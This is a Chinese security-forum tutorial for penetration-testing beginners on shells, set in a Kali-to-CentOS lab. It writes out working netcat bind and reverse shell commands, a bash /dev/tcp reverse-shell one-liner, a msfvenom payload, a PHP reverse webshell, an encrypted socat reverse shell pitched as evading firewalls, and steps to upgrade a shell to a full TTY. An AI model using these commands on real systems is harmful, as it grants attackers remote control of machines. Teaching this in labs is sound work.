首页
社区
课程
招聘
[原创]渗透测试中关于shell的初学者话题
2023-11-23 00:32 1906

[原创]渗透测试中关于shell的初学者话题

2023-11-23 00:32
1906
1
何为shell,shell如何处理,正向/反向shell如何构建,加密的shell可以如何建立,交互式shell与普通的shell有何区别,普通的shell如何升级为交互式的shell

Shell定义

​ 在计算机中,shell是将操作系统的服务暴露给人类用户或其他程序的计算机程序。通常,操作系统外壳使用命令行界面(CLI)或图形用户界面(GUI),这取决于计算机的角色和特定操作。 它被命名为shell是因为它是操作系统的最外层(外壳)。Windows的资源管理系统和Unix,Linux的sh,bash,zsh等

shell处理

  1. 接受用户输入: 用户在命令行界面中键入命令,Shell负责接受这些输入。
  2. 解析命令: Shell会解析用户输入的命令,分析命令的结构和语法,以确保命令被正确理解。如果命令有错误,Shell通常会返回错误消息。
  3. 查找命令: Shell会查找用户输入的命令对应的可执行文件或系统内置命令。这个过程通常涉及查找系统的环境变量,以确定可执行文件的路径。
  4. 执行命令: 找到可执行文件后,Shell会启动一个新的进程,并将命令传递给该进程。进程会执行相应的操作,可以是运行一个程序、操作文件、配置系统等。在执行期间,Shell通常会等待命令执行完毕。
  5. 显示输出: 如果命令产生了输出(例如文本、错误消息等),Shell会将输出显示在用户界面上,以便用户查看。
  6. 等待新命令: 在命令执行完毕后,Shell会等待用户输入下一个命令,然后重复上述步骤。

shell建立

工具:

netcat:相对来说不太稳定

socat:比较稳定,语法相对netcat来说也比较复杂,但是可以建立完全交互式shell,并且可以加密

...

我使用kali作为攻击机,centos作为目标机,已经关闭了kali和centos的防火墙

1
sudo systemctl stop firewalld

正向shell(Bind Shell)

server开启监听,client->server

如ssh服务

使用netcat建立正向shell

目标机:

1
nc -lvnp 1234 -e /bin/bash

-l 这个选项表示nc应该处于监听(listen)模式,等待来自客户端的连接。

-v 这个选项启用详细输出模式,使得nc在运行时会显示更多信息,包括连接和数据传输的详细信息。

-n 这个选项禁用DNS解析,使得nc在建立连接时不会尝试将IP地址解析为主机名。

-p 1234 这个选项指定nc监听的端口号是1234。客户端将会连接到这个端口。

-e /bin/bash 这个选项指定在客户端连接上来时,nc应该执行的命令。在这个例子中,它指定在连接建立后,应该执行/bin/bash,也就是启动一个Bash Shell。由于这个命令是在监听端(服务端)执行的,一旦有客户端连接,它将会获得一个交互式的Bash Shell。

攻击机

1
nc ip 1234

建立的就是正向shell

反向shell(Reverse Shell)

client开启监听,server->client

kali开启监听:

1
nc -lvnp 1234

生成bash反弹shell

1
sudo msfvenom -p cmd/unix/reverse_bash lhost= lport=1234 -f raw

攻击机执行:

1
bash -c '0<&87-;exec 87<>/dev/tcp/ip/1234;bash <&87 >&87 2>&87'

还有许多其他类型的反弹shell

如PHP反弹shell

kali开启监听

1
nc -lvnp 1234

在centos中用apache和php搭建一个简单的环境

kali中已经有许多webshell了,选用/usr/share/webshells/php/php-reverse-shell.php

将49行改为攻击机IP,50行改成攻击机监听的端口

kali:

1
curl http://target_ip/index.php

建立反向shell

shell加密

保护敏感数据: 如果Shell命令中包含敏感信息,例如密码、私钥等,加密可以确保这些信息在传输过程中不被窃取。

数据隐私: 有时候,Shell命令可能包含敏感的业务逻辑、数据处理等内容,对这些内容进行加密可以确保数据隐私,防止信息泄露。

防止中间人攻击: 在网络通信中,中间人攻击是一种常见的攻击方式,攻击者可以截获传输中的数据。加密可以防止中间人攻击,确保通信双方的数据安全。

确保数据完整性: 除了加密,数字签名等技术也可以用于验证数据的完整性,确保传输过程中数据没有被篡改。

符合合规性和法规要求

防火墙规避

对shell进行加密

kali:

1
openssl req -x509 -newkey rsa:4096 -days 365 -subj  '/CN=www.mikannse.com/O=mikannse /C=UK' -nodes -keyout mikannse-reverse.key -out mikannse-reverse.crt
1
cat mikannse-reverse.key mikannse-reverse.crt > mikannse-reverse.pem
1
socat -d -d OPENSSL-LISTEN:4443,cert=mikannse-reverse.pem,verify=0,fork STDOUT

目标机执行:

1
socat OPENSSL:attacker_ip:4443,verify=0 EXEC:/bin/bash

建立shell

并且流量是加密的

交互式shell

什么是交互式shell

交互式shell,指的是你可以输入命令并获得执行结果的shell。而非交互式shell,一般是执行一个命令、一个脚本的shell,它们通常不需要人工干预,例如系统维护脚本、后台脚本等。

标准输入流和错误流没有连接到终端的shell,例如系统启动脚本、维护脚本,它们不需要交互。

当我们拿到一些webshell的时候,我们能够执行一些命令,但是这些命令都是非交互的,也就是说不存在上下文的概念。当我们想使用vim、top、ssh等命令时,webshell就无能为力了。

如何建立交互式shell(提升shell交互性)

1
python3 -c "import pty;pty.spawn('/bin/bash')"

用python开启一个伪终端

1
export TERM=xterm-color
  • export:这是一个Shell命令,用于将环境变量导出,使其在当前Shell会话和其子进程中可用。
  • TERM=xterm-color:这个命令将 TERM 环境变量设置为 xterm-colorxterm-color 是一种终端类型,通常用于支持 ANSI 颜色代码的终端仿真器。这样设置 TERM 环境变量告诉系统和应用程序,当前的终端仿真器支持 ANSI 颜色。

通过将 TERM 设置为 xterm-color,终端仿真器就知道它应该能够显示颜色文本,而不仅仅是单色文本。这对于具有彩色输出的应用程序(例如彩色的ls命令输出)非常重要,因为这样可以确保文本以适当的颜色呈现给用户,提供更好的可视化体验。

在nc建立监听时

1
rlwrap -cAr nc -lvnp 1234
  • rlwraprlwrap 工具的启动命令。

  • -cAr是rlwrap

    的选项:

    • -c 选项表示不保存历史记录(这个选项不会保存已经输入的命令,它适用于监听服务端口的情况,通常用于监听Shell反弹)。
    • -A 选项表示自动补全功能(启用命令行自动补全)。
    • -r 选项表示使用回退模式(即支持使用Ctrl + R进行历史命令的反向搜索)。

使用socat

1
socat TCP-L:<port> FILE:`tty`,raw,echo=0

需要目标机有socat

1
socat TCP:<attacker-ip>:<attacker-port> EXEC:"bash -li",pty,stderr,sigint,setsid,sane

[培训]《安卓高级研修班(网课)》月薪三万计划,掌握调试、分析还原ollvm、vmp的方法,定制art虚拟机自动化脱壳的方法

最后于 2023-11-26 10:51 被mikannse编辑 ,原因:
收藏
点赞2
打赏
分享
最新回复 (2)
雪    币: 265
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
mikannse 2023-11-23 00:35
2
0
新人发帖多多支持qwq
雪    币: 19431
活跃值: (29097)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
秋狝 2023-11-23 09:35
3
1
感谢分享
游客
登录 | 注册 方可回帖
返回